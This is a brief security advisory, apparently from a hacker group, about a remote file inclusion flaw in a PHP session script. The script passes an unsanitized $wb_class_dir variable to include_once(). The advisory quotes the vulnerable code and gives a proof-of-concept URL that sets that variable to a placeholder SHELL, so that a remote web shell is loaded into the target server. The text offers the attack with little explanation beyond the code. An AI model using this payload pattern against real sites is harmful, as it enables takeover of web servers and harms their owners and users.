################################################## #########################################
#Aria-Security.net Advisory #
#Discovered by: O.U.T.L.A.W #
#< www.Aria-security.net > #
#Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll#
################################################## #########################################


<?php
include_once("$wb_class_dir/classDatabase.php");


function Start_Session()
{
global $session_dir;

if ( $session_dir != '' )
session_save_path($session_dir);

if ( ! isset($_SESSION) )
{
session_start();
// Supposedly a fix for IE6
header('Cache-control: private');
My_Cache();

if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource')
touchDatabaseSession();

}
}


---------------------------------------

Proof of Concept:
http://www.site.com/includes/session...lass_dir=SHELL

Contact : Outlaw@aria-security.net